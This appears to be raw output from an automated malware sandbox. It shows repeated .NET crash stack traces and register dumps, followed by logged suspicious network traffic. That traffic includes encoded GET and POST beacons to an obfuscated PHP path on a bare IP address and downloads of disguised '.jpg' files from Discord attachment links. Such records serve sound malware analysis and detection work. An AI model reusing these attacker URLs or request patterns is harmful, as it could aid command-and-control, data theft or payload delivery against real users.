mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 160863900
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x754c37
0x6342746
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 157065296
1 0 0

__exception__

 stacktrace: 
0x754c20
0x6342746
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 3b 42 04 0f 9e c0 0f b6 c0 89 45 cc 83 7d cc 00
exception.instruction: cmp eax, dword ptr [edx + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634eae4
registers.esp: 119138552
registers.edi: 119138724
registers.eax: 0
registers.ebp: 119138740
registers.edx: 0
registers.ebx: 39338560
registers.esi: 157743264
registers.ecx: 157743264
1 0 0

__exception__

 stacktrace: 
0x634fedb
0x754c37
0x6342746
mscorlib+0x34b4fd @ 0x6efcb4fd
mscorlib+0x34b466 @ 0x6efcb466
mscorlib+0x34b429 @ 0x6efcb429
mscorlib+0x3022a6 @ 0x6ef822a6
mscorlib+0x34b2d2 @ 0x6efcb2d2
mscorlib+0x34b1f7 @ 0x6efcb1f7
mscorlib+0x34b13b @ 0x6efcb13b
mscorlib+0x30d3a5 @ 0x6ef8d3a5
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7243264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72432e95
DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x7252f1cc
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72497d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72497dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72497e88
DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x7242c3bf
DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x7252f164
DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x7250f54d
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x7253a0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: 8b 40 04 89 45 fc 90 eb 00 8b 45 fc 8b e5 5d c3
exception.instruction: mov eax, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x634ff23
registers.esp: 119138712
registers.edi: 119139164
registers.eax: 0
registers.ebp: 119138720
registers.edx: 0
registers.ebx: 39338560
registers.esi: 119139112
registers.ecx: 157743264
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&3fa8bd4e23584991e2ef4ca0ef58599a=1488ac3f87e8ab55a8ca2895fac3eb7d&0f1a5cdcbe121b534316670b7861f3bc=gYjV2NlJGMjVGM3Y2NkRmYjlDM5UDMxcjYwYGMllzNjZWZ3kDMhNjN&BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS
suspicious_features Connection to IP address suspicious_request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&a8bd4009f819dc612a88747701d9ae54=d1nIzQDOzkzNmNjZhJTYlVWZwAjZhVWNlJWOmFTM4cTZ3UjMjZGO1YmYzIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
suspicious_features Connection to IP address suspicious_request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&6cf5e4104872872b39c54edbb9e8d6a7=0VfiIiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiI3UzYjJ2M0YjZ4IGNkZ2MyUDNiJDM0gDMlVzNiJWN0IjZlNWZ2MDMxIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
suspicious_features Connection to IP address suspicious_request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&a8bd4009f819dc612a88747701d9ae54=d1nI0gDOzYzMwI2NyMmM4cDNyMjZiVDNmBjYmFWZzEDZhFjNhdTZ0ITNwIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W&6cf5e4104872872b39c54edbb9e8d6a7=0VfiIiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiI0gDOzYzMwI2NyMmM4cDNyMjZiVDNmBjYmFWZzEDZhFjNhdTZ0ITNwIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMisHL9JCMulUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSapUaPlGNXFGdSdVU6xWbJNXSplkNJlnUCJFbJNXSDRGcKVUSwkFRJ9EdFl0cG1mY2xmMjpnVtpldKhUVnNGRJpHZzI2a1cVYYpUaPlWSYp1V1cVYYp0QMljSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9ENFRVT1NmaNh3dp1EeBRlT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFzUZdHZtJmdOxWS2k0UlBDbykVa3lWS3VFVNVXU61Ee0M0T3lkaMFzYU1UavpWS3xWbJdDcqlkda1mYKJEWTl2dplUeJREZ6Z1Rkl2bqlEbxcVWPpEWapnVsl0cJlXURFTaNlXUxUlRSxWS2k0UaRnRtRFRCxWSzlUeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIpUelJiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiIjJjNzQmN3ETY4QjMlFTO3Q2M4MWYhRGOlJDMmhjYjNDOyYGN2kTMjJiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
suspicious_features Connection to IP address suspicious_request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&16a1bd48dc8a4465093dd8dee2d8ec90=0VfiElZpVFVORDOxE1Y4ZkTyMWMUhlTYVGV4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJFDND5UavpWS1lzVhpnSYp1V012Y2RGWaRnRtN2RKNETpRjMkZXNyEWdWxWS2k0QhBjRHV1aKNjYq5EWhVkSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRtNmbWdkYsJFbJNXSplkNJl3Y3JEWRRnRXpFMOxWSzlUaiNTOtJmc1clVp9maJVEbrNGbOhlV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWS5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPl2YtJGa4VlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJNUYwY0RVRnRXpFMOxWSzlUaiNmSIhFerZVUNJUMVpkUFh1Y1MEWjhnRYl2bqlke1clWsp0MZRlSDxUaJBjUnVlaJZTSTRlQKxWSzl0QNVXOXFGMG12Y2JkbjZnTFlEb4JTWop0MUl2bql0aKhVW2pUbjxGaHRmdxsWSzl0URZHNrlkNJNkYzZkMkxmSYF2RKNETpVEMM9kSp9UaNhFZ5xWbkBnUuJmQKNETpRjMkZXNyEWdWxWS2k0QVpUNVFVTKNETpd2aZRHZFlkcWdEZ2VTbiBnSp9UaNFDVKp0aJNXSTtUWtx0NsZjS3cGOXF2aWhVUnRjMiBnUYFWds1mWsJVRJ9GZXFWSoNkcCJzT0RWePlmb1VXS2kUejxWNyI2bCNjY550Vh5kSDxUaJl2Tp1EWihmTtlFbkxWSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIpUelJiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiI3UzYjJ2M0YjZ4IGNkZ2MyUDNiJDM0gDMlVzNiJWN0IjZlNWZ2MDMxIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
suspicious_features Connection to IP address suspicious_request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&6cf5e4104872872b39c54edbb9e8d6a7=QX9JSUNJiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiIzQDOzkzNmNjZhJTYlVWZwAjZhVWNlJWOmFTM4cTZ3UjMjZGO1YmYzIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
suspicious_features POST method with no referer header, Connection to IP address suspicious_request POST http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN
suspicious_features GET method with no useragent header suspicious_request GET https://cdn.discordapp.com/attachments/893177342426509335/896364502570901514/7DB3BF04.jpg
suspicious_features GET method with no useragent header suspicious_request GET https://cdn.discordapp.com/attachments/893177342426509335/896364505993478164/1584E3DD.jpg
suspicious_features GET method with no useragent header suspicious_request GET https://cdn.discordapp.com/attachments/893177342426509335/896364508291924018/EA731B75.jpg
request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&3fa8bd4e23584991e2ef4ca0ef58599a=1488ac3f87e8ab55a8ca2895fac3eb7d&0f1a5cdcbe121b534316670b7861f3bc=gYjV2NlJGMjVGM3Y2NkRmYjlDM5UDMxcjYwYGMllzNjZWZ3kDMhNjN&BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS
request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&a8bd4009f819dc612a88747701d9ae54=d1nIzQDOzkzNmNjZhJTYlVWZwAjZhVWNlJWOmFTM4cTZ3UjMjZGO1YmYzIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&6cf5e4104872872b39c54edbb9e8d6a7=0VfiIiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiI3UzYjJ2M0YjZ4IGNkZ2MyUDNiJDM0gDMlVzNiJWN0IjZlNWZ2MDMxIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
request GET http://188.120.247.145/scriptdemo/Warsystem/CpubinMathprogram/antisystemPythonphp/recordrecord/coreCpuCam/bin/supporthtop/cutgameMathgenerator/recordrecordCpuCam/loglogCamsystem/phpmobileCamCam/linuxWordpressdatalifecdnTemporary.php?BRnh4=7pVTZBf9GU&gyC1lTzSDDchANH4lx1y1RZev62mdE=ej10xqPa7yO0OeHVFS&39b69d362f51fb0180e3753d06acef2f=QY3cjZjJDZxQjZ0czNhFjM4MGM5UTMhRWZ3kzYmVTMhRDOiVDNjNzMwUDMzMDM0gTMygzNzEzM&0f1a5cdcbe121b534316670b7861f3bc=gZ5ImZ5ETOxMmN0kjZkRWZwUTMxkDO5QjYzEjYjRzNlFmM3ATNxYzN&a8bd4009f819dc612a88747701d9ae54=d1nI0gDOzYzMwI2NyMmM4cDNyMjZiVDNmBjYmFWZzEDZhFjNhdTZ0ITNwIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W&6cf5e4104872872b39c54edbb9e8d6a7=0VfiIiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiI0gDOzYzMwI2NyMmM4cDNyMjZiVDNmBjYmFWZzEDZhFjNhdTZ0ITNwIiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMisHL9JCMulUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSapUaPlGNXFGdSdVU6xWbJNXSplkNJlnUCJFbJNXSDRGcKVUSwkFRJ9EdFl0cG1mY2xmMjpnVtpldKhUVnNGRJpHZzI2a1cVYYpUaPlWSYp1V1cVYYp0QMljSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXST9ENFRVT1NmaNh3dp1EeBRlT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFzUZdHZtJmdOxWS2k0UlBDbykVa3lWS3VFVNVXU61Ee0M0T3lkaMFzYU1UavpWS3xWbJdDcqlkda1mYKJEWTl2dplUeJREZ6Z1Rkl2bqlEbxcVWPpEWapnVsl0cJlXURFTaNlXUxUlRSxWS2k0UaRnRtRFRCxWSzlUeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUp0QMlGNrlkNJNlYo5UbZxGZxMGcKNETptGbJZTSTpVd5cUY3lTbjpGbXRles1WSzlUallEZF1EN0kWTnFURJZlQxE1ZBRUTwcGVMFzaHlEcwUkVvVVbjZnTFlEcJZ0SzZ1RkVHbrlkNJNlW0ZUbUZlQxEVa3lWSDJ0QNdGMDl0dTl1NSlHN2ATYKdzZwwEb0pGcuJna3QXcENVUIplRJF0ULdzYHp1Np9maJxWMXl1TWZUVIpUelJiOiYDZhljY2IDNiRjZ5YTN4YGN5AzN4AzNxImN1IzY0IGNiwiIjJjNzQmN3ETY4QjMlFTO3Q2M4MWYhRGOlJDMmhjYjNDOyYGN2kTMjJiOikzY3QTOxgTM5IGMwE2Y5QTNmV2MjlDZxATZiRTMyQDOiwiIhZDZmRjM0ETYwEDNkZWNwczYjR2MyYGN0MWMiJTYmNmM3E2YkNjZ3IiOiEWZzkDMlVTOxImM1QmMlRDM2YmY2QjZxYWO5gzYkVzMis3W
